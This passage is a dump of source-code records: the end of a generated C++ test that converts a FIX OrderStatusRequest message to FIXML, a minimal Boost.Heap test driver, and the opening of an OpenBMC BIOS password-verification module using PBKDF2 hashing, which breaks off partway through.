set_field(noUnderlyings_0_1, FIX::UnderlyingInstrRegistry{\"STRING_1563827989\"}, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingIssueDate{\"LOCALMKTDATE_1151767526\"}, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingIssuer{\"STRING_2086271678\"}, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingLocaleOfIssue{\"STRING_702416023\"}, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingMaturityDate{\"LOCALMKTDATE_870090711\"}, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingMaturityMonthYear{\"MONTHYEAR_1402882429\"}, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingMaturityTime{\"TZTIMEONLY_1303514554\"}, UnderlyingInstrument_85);\n    FIX::UnderlyingNotionalPercentageOutstanding UnderlyingNotionalPercentageOutstanding_85;\n    UnderlyingNotionalPercentageOutstanding_85.setString(\"6.520000\");\nset_field(noUnderlyings_0_1, UnderlyingNotionalPercentageOutstanding_85, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingOptAttribute{'5'}, UnderlyingInstrument_85);\n    FIX::UnderlyingOriginalNotionalPercentageOutstanding UnderlyingOriginalNotionalPercentageOutstanding_85;\n    UnderlyingOriginalNotionalPercentageOutstanding_85.setString(\"5.070000\");\nset_field(noUnderlyings_0_1, UnderlyingOriginalNotionalPercentageOutstanding_85, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingPriceUnitOfMeasure{\"STRING_2019581356\"}, UnderlyingInstrument_85);\n    FIX::UnderlyingPriceUnitOfMeasureQty UnderlyingPriceUnitOfMeasureQty_85;\n    UnderlyingPriceUnitOfMeasureQty_85.setString(\"20770290\");\nset_field(noUnderlyings_0_1, UnderlyingPriceUnitOfMeasureQty_85, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingProduct{1418572403}, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingPutOrCall{1558533232}, UnderlyingInstrument_85);\n    FIX::UnderlyingPx UnderlyingPx_85;\n    UnderlyingPx_85.setString(\"12200597\");\nset_field(noUnderlyings_0_1, UnderlyingPx_85, UnderlyingInstrument_85);\n    FIX::UnderlyingQty UnderlyingQty_85;\n    UnderlyingQty_85.setString(\"12110814\");\nset_field(noUnderlyings_0_1, UnderlyingQty_85, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingRedemptionDate{\"LOCALMKTDATE_1518200475\"}, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingRepoCollateralSecurityType{\"STRING_2108421735\"}, UnderlyingInstrument_85);\n    FIX::UnderlyingRepurchaseRate UnderlyingRepurchaseRate_85;\n    UnderlyingRepurchaseRate_85.setString(\"62.270000\");\nset_field(noUnderlyings_0_1, UnderlyingRepurchaseRate_85, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingRepurchaseTerm{335591013}, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingRestructuringType{\"STRING_270326134\"}, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingSecurityDesc{\"STRING_1038386204\"}, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingSecurityExchange{\"EXCHANGE_667006093\"}, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingSecurityID{\"STRING_1255617287\"}, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingSecurityIDSource{\"STRING_1034969096\"}, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingSecuritySubType{\"STRING_1245878934\"}, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingSecurityType{\"STRING_1158880351\"}, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingSeniority{\"STRING_1477724303\"}, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingSettlMethod{\"STRING_881931495\"}, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingSettlementType{2}, UnderlyingInstrument_85);\n    FIX::UnderlyingStartValue UnderlyingStartValue_85;\n    UnderlyingStartValue_85.setString(\"8521753\");\nset_field(noUnderlyings_0_1, UnderlyingStartValue_85, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingStateOrProvinceOfIssue{\"STRING_298275836\"}, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingStrikeCurrency{\"EUR\"}, UnderlyingInstrument_85);\n    FIX::UnderlyingStrikePrice UnderlyingStrikePrice_85;\n    UnderlyingStrikePrice_85.setString(\"10006918\");\nset_field(noUnderlyings_0_1, UnderlyingStrikePrice_85, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingSymbol{\"STRING_1124244664\"}, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingSymbolSfx{\"STRING_46362192\"}, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingTimeUnit{\"STRING_156722766\"}, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingUnitOfMeasure{\"STRING_1937305316\"}, UnderlyingInstrument_85);\n    FIX::UnderlyingUnitOfMeasureQty UnderlyingUnitOfMeasureQty_85;\n    UnderlyingUnitOfMeasureQty_85.setString(\"6199160\");\nset_field(noUnderlyings_0_1, UnderlyingUnitOfMeasureQty_85, UnderlyingInstrument_85);\n    all_values.push_back(UnderlyingInstrument_85);\n    all_compo_names.insert(\"...NoUnderlyings.\");\n\n    // UndSecAltIDGrp\n    // Group UndSecAltIDGrp.NoUnderlyingSecurityAltID\n    {\n      FIX50SP2::OrderStatusRequest::NoUnderlyings::NoUnderlyingSecurityAltID noUnderlyingSecurityAltID_1_1_0;\n      // UndSecAltIDGrp.NoUnderlyingSecurityAltID\n      multiset<string> UndSecAltIDGrp_NoUnderlyingSecurityAltID_175;\n      set_field(noUnderlyingSecurityAltID_1_1_0, FIX::UnderlyingSecurityAltID{\"STRING_1809403024\"}, UndSecAltIDGrp_NoUnderlyingSecurityAltID_175);\n      set_field(noUnderlyingSecurityAltID_1_1_0, FIX::UnderlyingSecurityAltIDSource{\"STRING_549461432\"}, UndSecAltIDGrp_NoUnderlyingSecurityAltID_175);\n      all_values.push_back(UndSecAltIDGrp_NoUnderlyingSecurityAltID_175);\n      all_compo_names.insert(\"...NoUnderlyings....NoUnderlyingSecurityAltID\");\n\n      noUnderlyings_0_1.addGroup(noUnderlyingSecurityAltID_1_1_0);\n    }\n    // UnderlyingStipulations\n    // Group UnderlyingStipulations.NoUnderlyingStips\n    {\n      FIX50SP2::OrderStatusRequest::NoUnderlyings::NoUnderlyingStips noUnderlyingStips_1_1_0;\n      // UnderlyingStipulations.NoUnderlyingStips\n      multiset<string> UnderlyingStipulations_NoUnderlyingStips_173;\n      set_field(noUnderlyingStips_1_1_0, FIX::UnderlyingStipType{\"STRING_1220452608\"}, UnderlyingStipulations_NoUnderlyingStips_173);\n      set_field(noUnderlyingStips_1_1_0, FIX::UnderlyingStipValue{\"STRING_1769521141\"}, UnderlyingStipulations_NoUnderlyingStips_173);\n      all_values.push_back(UnderlyingStipulations_NoUnderlyingStips_173);\n      all_compo_names.insert(\"...NoUnderlyings....NoUnderlyingStips\");\n\n      noUnderlyings_0_1.addGroup(noUnderlyingStips_1_1_0);\n    }\n    // UndlyInstrumentParties\n    // Group UndlyInstrumentParties.NoUndlyInstrumentParties\n    {\n      FIX50SP2::OrderStatusRequest::NoUnderlyings::NoUndlyInstrumentParties noUndlyInstrumentParties_1_1_0;\n      // UndlyInstrumentParties.NoUndlyInstrumentParties\n      multiset<string> UndlyInstrumentParties_NoUndlyInstrumentParties_184;\n      set_field(noUndlyInstrumentParties_1_1_0, FIX::UnderlyingInstrumentPartyID{\"STRING_591169435\"}, UndlyInstrumentParties_NoUndlyInstrumentParties_184);\n      set_field(noUndlyInstrumentParties_1_1_0, FIX::UnderlyingInstrumentPartyIDSource{'1'}, UndlyInstrumentParties_NoUndlyInstrumentParties_184);\n      set_field(noUndlyInstrumentParties_1_1_0, FIX::UnderlyingInstrumentPartyRole{1240919691}, UndlyInstrumentParties_NoUndlyInstrumentParties_184);\n      all_values.push_back(UndlyInstrumentParties_NoUndlyInstrumentParties_184);\n      all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties\");\n\n      // UndlyInstrumentPtysSubGrp\n      // Group UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n      {\n        FIX50SP2::OrderStatusRequest::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_1_0_2_0;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_368;\n        set_field(noUndlyInstrumentPartySubIDs_1_0_2_0, FIX::UnderlyingInstrumentPartySubID{\"STRING_2000785362\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_368);\n        set_field(noUndlyInstrumentPartySubIDs_1_0_2_0, FIX::UnderlyingInstrumentPartySubIDType{131822247}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_368);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_368);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_1_1_0.addGroup(noUndlyInstrumentPartySubIDs_1_0_2_0);\n      }\n      {\n        FIX50SP2::OrderStatusRequest::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_1_0_2_1;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_369;\n        set_field(noUndlyInstrumentPartySubIDs_1_0_2_1, FIX::UnderlyingInstrumentPartySubID{\"STRING_1593766542\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_369);\n        set_field(noUndlyInstrumentPartySubIDs_1_0_2_1, FIX::UnderlyingInstrumentPartySubIDType{1108919002}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_369);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_369);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_1_1_0.addGroup(noUndlyInstrumentPartySubIDs_1_0_2_1);\n      }\n      noUnderlyings_0_1.addGroup(noUndlyInstrumentParties_1_1_0);\n    }\n    {\n      FIX50SP2::OrderStatusRequest::NoUnderlyings::NoUndlyInstrumentParties noUndlyInstrumentParties_1_1_1;\n      // UndlyInstrumentParties.NoUndlyInstrumentParties\n      multiset<string> UndlyInstrumentParties_NoUndlyInstrumentParties_185;\n      set_field(noUndlyInstrumentParties_1_1_1, FIX::UnderlyingInstrumentPartyID{\"STRING_1166791343\"}, UndlyInstrumentParties_NoUndlyInstrumentParties_185);\n      set_field(noUndlyInstrumentParties_1_1_1, FIX::UnderlyingInstrumentPartyIDSource{'6'}, UndlyInstrumentParties_NoUndlyInstrumentParties_185);\n      set_field(noUndlyInstrumentParties_1_1_1, FIX::UnderlyingInstrumentPartyRole{120315705}, UndlyInstrumentParties_NoUndlyInstrumentParties_185);\n      all_values.push_back(UndlyInstrumentParties_NoUndlyInstrumentParties_185);\n      all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties\");\n\n      // UndlyInstrumentPtysSubGrp\n      // Group UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n      {\n        FIX50SP2::OrderStatusRequest::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_1_1_2_0;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_370;\n        set_field(noUndlyInstrumentPartySubIDs_1_1_2_0, FIX::UnderlyingInstrumentPartySubID{\"STRING_1574093324\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_370);\n        set_field(noUndlyInstrumentPartySubIDs_1_1_2_0, FIX::UnderlyingInstrumentPartySubIDType{1370185779}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_370);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_370);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_1_1_1.addGroup(noUndlyInstrumentPartySubIDs_1_1_2_0);\n      }\n      noUnderlyings_0_1.addGroup(noUndlyInstrumentParties_1_1_1);\n    }\n    {\n      FIX50SP2::OrderStatusRequest::NoUnderlyings::NoUndlyInstrumentParties noUndlyInstrumentParties_1_1_2;\n      // UndlyInstrumentParties.NoUndlyInstrumentParties\n      multiset<string> UndlyInstrumentParties_NoUndlyInstrumentParties_186;\n      set_field(noUndlyInstrumentParties_1_1_2, FIX::UnderlyingInstrumentPartyID{\"STRING_1349207380\"}, UndlyInstrumentParties_NoUndlyInstrumentParties_186);\n      set_field(noUndlyInstrumentParties_1_1_2, FIX::UnderlyingInstrumentPartyIDSource{'1'}, UndlyInstrumentParties_NoUndlyInstrumentParties_186);\n      set_field(noUndlyInstrumentParties_1_1_2, FIX::UnderlyingInstrumentPartyRole{1624339732}, UndlyInstrumentParties_NoUndlyInstrumentParties_186);\n      all_values.push_back(UndlyInstrumentParties_NoUndlyInstrumentParties_186);\n      all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties\");\n\n      // UndlyInstrumentPtysSubGrp\n      // Group UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n      {\n        FIX50SP2::OrderStatusRequest::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_1_2_2_0;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_371;\n        set_field(noUndlyInstrumentPartySubIDs_1_2_2_0, FIX::UnderlyingInstrumentPartySubID{\"STRING_725577372\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_371);\n        set_field(noUndlyInstrumentPartySubIDs_1_2_2_0, FIX::UnderlyingInstrumentPartySubIDType{601100748}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_371);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_371);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_1_1_2.addGroup(noUndlyInstrumentPartySubIDs_1_2_2_0);\n      }\n      {\n        FIX50SP2::OrderStatusRequest::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_1_2_2_1;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_372;\n        set_field(noUndlyInstrumentPartySubIDs_1_2_2_1, FIX::UnderlyingInstrumentPartySubID{\"STRING_39049336\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_372);\n        set_field(noUndlyInstrumentPartySubIDs_1_2_2_1, FIX::UnderlyingInstrumentPartySubIDType{882300138}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_372);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_372);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_1_1_2.addGroup(noUndlyInstrumentPartySubIDs_1_2_2_1);\n      }\n      {\n        FIX50SP2::OrderStatusRequest::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_1_2_2_2;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_373;\n        set_field(noUndlyInstrumentPartySubIDs_1_2_2_2, FIX::UnderlyingInstrumentPartySubID{\"STRING_390922416\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_373);\n        set_field(noUndlyInstrumentPartySubIDs_1_2_2_2, FIX::UnderlyingInstrumentPartySubIDType{658965374}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_373);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_373);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_1_1_2.addGroup(noUndlyInstrumentPartySubIDs_1_2_2_2);\n      }\n      noUnderlyings_0_1.addGroup(noUndlyInstrumentParties_1_1_2);\n    }\n    msg.addGroup(noUnderlyings_0_1);\n  }\n  // header\n  multiset<string> header_64;\n  set_header_field(msg.getHeader(), FIX::ApplVerID{\"STRING_2\"}, header_64);\n  set_header_field(msg.getHeader(), FIX::BeginString{\"STRING_52841792\"}, header_64);\n  set_header_field(msg.getHeader(), FIX::BodyLength{1208426807}, header_64);\n  set_header_field(msg.getHeader(), FIX::CstmApplVerID{\"STRING_690755441\"}, header_64);\n  set_header_field(msg.getHeader(), FIX::DeliverToCompID{\"STRING_1273294400\"}, header_64);\n  set_header_field(msg.getHeader(), FIX::DeliverToLocationID{\"STRING_830464300\"}, header_64);\n  set_header_field(msg.getHeader(), FIX::DeliverToSubID{\"STRING_1441608904\"}, header_64);\n  set_header_field(msg.getHeader(), FIX::LastMsgSeqNumProcessed{1864463835}, header_64);\n  set_header_field(msg.getHeader(), FIX::MessageEncoding{\"STRING_ISO-2022-JP\"}, header_64);\n  set_header_field(msg.getHeader(), FIX::MsgSeqNum{535044947}, header_64);\n  set_header_field(msg.getHeader(), FIX::OnBehalfOfCompID{\"STRING_643740636\"}, header_64);\n  set_header_field(msg.getHeader(), FIX::OnBehalfOfLocationID{\"STRING_266741594\"}, header_64);\n  set_header_field(msg.getHeader(), FIX::OnBehalfOfSubID{\"STRING_666867195\"}, header_64);\n  set_header_field(msg.getHeader(), FIX::OrigSendingTime{FIX::UTCTIMESTAMP(12, 38, 38, 1, 10, 2002)}, header_64);\n  set_header_field(msg.getHeader(), FIX::PossDupFlag{false}, header_64);\n  set_header_field(msg.getHeader(), FIX::PossResend{false}, header_64);\n  set_header_field(msg.getHeader(), FIX::SecureData{\"DATA_2081164195\"}, header_64);\n  set_header_field(msg.getHeader(), FIX::SecureDataLen{195534517}, header_64);\n  set_header_field(msg.getHeader(), FIX::SenderCompID{\"STRING_1525101413\"}, header_64);\n  set_header_field(msg.getHeader(), FIX::SenderLocationID{\"STRING_659257919\"}, header_64);\n  set_header_field(msg.getHeader(), FIX::SenderSubID{\"STRING_796635266\"}, header_64);\n  set_header_field(msg.getHeader(), FIX::SendingTime{FIX::UTCTIMESTAMP(18, 2, 15, 22, 12, 2014)}, header_64);\n  set_header_field(msg.getHeader(), FIX::TargetCompID{\"STRING_1235813263\"}, header_64);\n  set_header_field(msg.getHeader(), FIX::TargetLocationID{\"STRING_366210227\"}, header_64);\n  set_header_field(msg.getHeader(), FIX::TargetSubID{\"STRING_2114523582\"}, header_64);\n  set_header_field(msg.getHeader(), FIX::XmlData{\"DATA_529938519\"}, header_64);\n  set_header_field(msg.getHeader(), FIX::XmlDataLen{83190415}, header_64);\n  all_values.push_back(header_64);\n  all_compo_names.insert(\".header\");\n\n\n  xml_element elt;\n  converter.fix2fixml(msg, elt);\n  BOOST_LOG_TRIVIAL(debug) << \"The resulting XML is\";\n  cout << \"////////////////////////////////////////////\" << endl;\n  cout << elt.to_string() << endl;\n  cout << \"////////////////////////////////////////////\" << endl << endl;\n\n  BOOST_LOG_TRIVIAL(debug) << \"Quickfix XML representation is\";\n  cout << \"////////////////////////////////////////////\" << endl;\n  cout << msg.toXML() << endl;\n  cout << \"////////////////////////////////////////////\" << endl << endl;\n  list<multiset<string>> elt_lists;\n  elt.to_list(elt_lists);\n  EXPECT_EQ(elt_lists.size(), all_values.size());\n\n  if (elt_lists.size() != all_values.size())  {\n    multiset<string> elt_compo_name;\n    elt.all_components(elt_compo_name);\n    BOOST_LOG_TRIVIAL(debug) << \"XML Elements are:\";\n    cout << \"\t[\";\n    copy(elt_compo_name.begin(), elt_compo_name.end(), ostream_iterator<string>(cout, \" \"));    cout << \"]\" << endl;\n\n    BOOST_LOG_TRIVIAL(debug) << \"FIX Components are:\"; \n    cout << \"\t[\";\n    copy(all_compo_names.begin(), all_compo_names.end(), ostream_iterator<string>(cout, \" \"));    cout << \"]\" << endl;\n\n  }\n  BOOST_LOG_TRIVIAL(debug) << \"All FIX components\";\n  for (const auto& l : all_values) {\n    cout << \"\t[\";\n    copy(l.begin(), l.end(), ostream_iterator<string>(cout, \" \"));\n    cout << \"]\" << endl;\n  }\n  BOOST_LOG_TRIVIAL(debug) << \"All XML components\";\n  for (const auto& l : elt_lists) {\n    cout << \"\t[\";\n    copy(l.begin(), l.end(), ostream_iterator<string>(cout, \" \"));\n    cout << \"]\" << endl;\n\n  }\n\n  for (const auto& xml_l : elt_lists) {\n    bool found = false;\n    for (const auto& l : all_values) {\n      if (includes(l.begin(), l.end(), xml_l.begin(), xml_l.end())) {\n        found = true;\n        break;\n      } // end if includes\n    } // end for all_values\n    EXPECT_TRUE(found);\n    if ( ! found) {\n      BOOST_LOG_TRIVIAL(debug) << \"[TO CHECK] This XML component was not found in FIX message\";\n      cout << \"\t ---> [\";\n      copy(xml_l.begin(), xml_l.end(), ostream_iterator<string>(cout, \" \"));      cout << \"]\" << endl << endl;\n    } // end if ! found\n  } // end for elt_lists\n}\n", "meta": {"hexsha": "100c07949f32bfbfb9780fbbef9827d618e99f8c", "size": 81631, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "tools/generated/fix2xml/test_fix2xml_OrderStatusRequest.cpp", "max_stars_repo_name": "abdelkaderamar/fix2xml", "max_stars_repo_head_hexsha": "fa781b747a8e40ed4c2d3dee8294fb51654f7428", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1.0, "max_stars_repo_stars_event_min_datetime": "2019-09-26T12:08:19.000Z", "max_stars_repo_stars_event_max_datetime": "2019-09-26T12:08:19.000Z", "max_issues_repo_path": "tools/generated/fix2xml/test_fix2xml_OrderStatusRequest.cpp", "max_issues_repo_name": "abdelkaderamar/fix2xml", "max_issues_repo_head_hexsha": "fa781b747a8e40ed4c2d3dee8294fb51654f7428", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tools/generated/fix2xml/test_fix2xml_OrderStatusRequest.cpp", "max_forks_repo_name": "abdelkaderamar/fix2xml", "max_forks_repo_head_hexsha": "fa781b747a8e40ed4c2d3dee8294fb51654f7428", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1.0, "max_forks_repo_forks_event_min_datetime": "2020-12-11T04:11:44.000Z", "max_forks_repo_forks_event_max_datetime": "2020-12-11T04:11:44.000Z", "avg_line_length": 65.5144462279, "max_line_length": 174, "alphanum_fraction": 0.8076833556, "num_tokens": 23448, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5039061705290805, "lm_q2_score": 0.2509127812837603, "lm_q1q2_score": 0.1264364987535004}}
{"text": "#include <boost/heap/binomial_heap.hpp>\n#include <boost/heap/d_ary_heap.hpp>\n#include <boost/heap/fibonacci_heap.hpp>\n#include <boost/heap/heap_concepts.hpp>\n#include <boost/heap/heap_merge.hpp>\n#include <boost/heap/pairing_heap.hpp>\n#include <boost/heap/policies.hpp>\n#include <boost/heap/priority_queue.hpp>\n#include <boost/heap/skew_heap.hpp>\n\nint\nmain ()\n{\n  return 0;\n}\n", "meta": {"hexsha": "02e92f18a620cdd6571bb8a8b481a7599a72738b", "size": 375, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "libboost-heap/tests/basics/driver.cpp", "max_stars_repo_name": "build2-packaging/boost", "max_stars_repo_head_hexsha": "203d505dd3ba04ea50785bc8b247a295db5fc718", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 4.0, "max_stars_repo_stars_event_min_datetime": "2021-02-23T11:24:33.000Z", "max_stars_repo_stars_event_max_datetime": "2021-09-11T20:10:46.000Z", "max_issues_repo_path": "libboost-heap/tests/basics/driver.cpp", "max_issues_repo_name": "build2-packaging/boost", "max_issues_repo_head_hexsha": "203d505dd3ba04ea50785bc8b247a295db5fc718", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "libboost-heap/tests/basics/driver.cpp", "max_forks_repo_name": "build2-packaging/boost", "max_forks_repo_head_hexsha": "203d505dd3ba04ea50785bc8b247a295db5fc718", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 23.4375, "max_line_length": 40, "alphanum_fraction": 0.768, "num_tokens": 104, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5467381519846138, "lm_q2_score": 0.2309197576365038, "lm_q1q2_score": 0.126252641546917}}
{"text": "/*\n// Copyright (c) 2020 Intel Corporation\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n*/\n#include \"password.hpp\"\n\n#include \"xyz/openbmc_project/BIOSConfig/Common/error.hpp\"\n#include \"xyz/openbmc_project/Common/error.hpp\"\n\n#include <boost/algorithm/hex.hpp>\n#include <boost/asio.hpp>\n#include <phosphor-logging/elog-errors.hpp>\n#include <sdbusplus/asio/connection.hpp>\n#include <sdbusplus/asio/object_server.hpp>\n\n#include <fstream>\n#include <iostream>\n\nnamespace bios_config_pwd\n{\nusing namespace sdbusplus::xyz::openbmc_project::Common::Error;\nusing namespace sdbusplus::xyz::openbmc_project::BIOSConfig::Common::Error;\n\nbool Password::isMatch(const std::array<uint8_t, maxHashSize>& expected,\n                       const std::array<uint8_t, maxSeedSize>& seed,\n                       const std::string rawData, const std::string algo)\n{\n    phosphor::logging::log<phosphor::logging::level::ERR>(\"isMatch\");\n\n    if (algo == \"SHA256\")\n    {\n        std::vector<uint8_t> output(SHA256_DIGEST_LENGTH);\n        unsigned int hashLen = SHA256_DIGEST_LENGTH;\n\n        if (!PKCS5_PBKDF2_HMAC(\n                reinterpret_cast<const char*>(rawData.c_str()),\n                rawData.length() + 1,\n                reinterpret_cast<const unsigned char*>(seed.data()),\n                seed.size(), iterValue, EVP_sha256(), hashLen, output.data()))\n        {\n            phosphor::logging::log<phosphor::logging::level::ERR>(\n                \"Generate PKCS5_PBKDF2_HMAC_SHA256 Integrity Check Value \"\n                \"failed\");\n            throw InternalFailure();\n        }\n\n        int cmp;\n        cmp = std::memcmp(output.data(), expected.data(),\n                          output.size() * sizeof(uint8_t));\n        if (cmp == 0)\n        {\n            return true;\n        }\n        else\n        {\n            return false;\n        }\n    }\n    if (algo == \"SHA384\")\n    {\n        std::array<uint8_t, SHA384_DIGEST_LENGTH> output;\n        unsigned int hashLen = SHA384_DIGEST_LENGTH;\n\n        if (!PKCS5_PBKDF2_HMAC(\n                reinterpret_cast<const char*>(rawData.c_str()),\n                rawData.length() + 1,\n                reinterpret_cast<const unsigned char*>(seed.data()),\n                seed.size(), iterValue, EVP_sha384(), hashLen, output.data()))\n        {\n            phosphor::logging::log<phosphor::logging::level::ERR>(\n                \"Generate PKCS5_PBKDF2_HMAC_SHA384 Integrity Check Value \"\n                \"failed\");\n            throw InternalFailure();\n        }\n\n        int cmp;\n        cmp = std::memcmp(output.data(), expected.data(),\n                          output.size() * sizeof(uint8_t));\n        if (cmp == 0)\n        {\n            return true;\n        }\n        else\n        {\n            return false;\n        }\n    }\n\n    return false;\n}\n\nvoid Password::verifyPassword(std::string userName, std::string currentPassword,\n                              std::string newPassword)\n{\n    if (fs::exists(seedFile.c_str()))\n    {\n        std::array<uint8_t, maxHashSize> orgUsrPwdHash;\n        std::array<uint8_t, maxHashSize> orgAdminPwdHash;\n        std::array<uint8_t, maxSeedSize> seed;\n        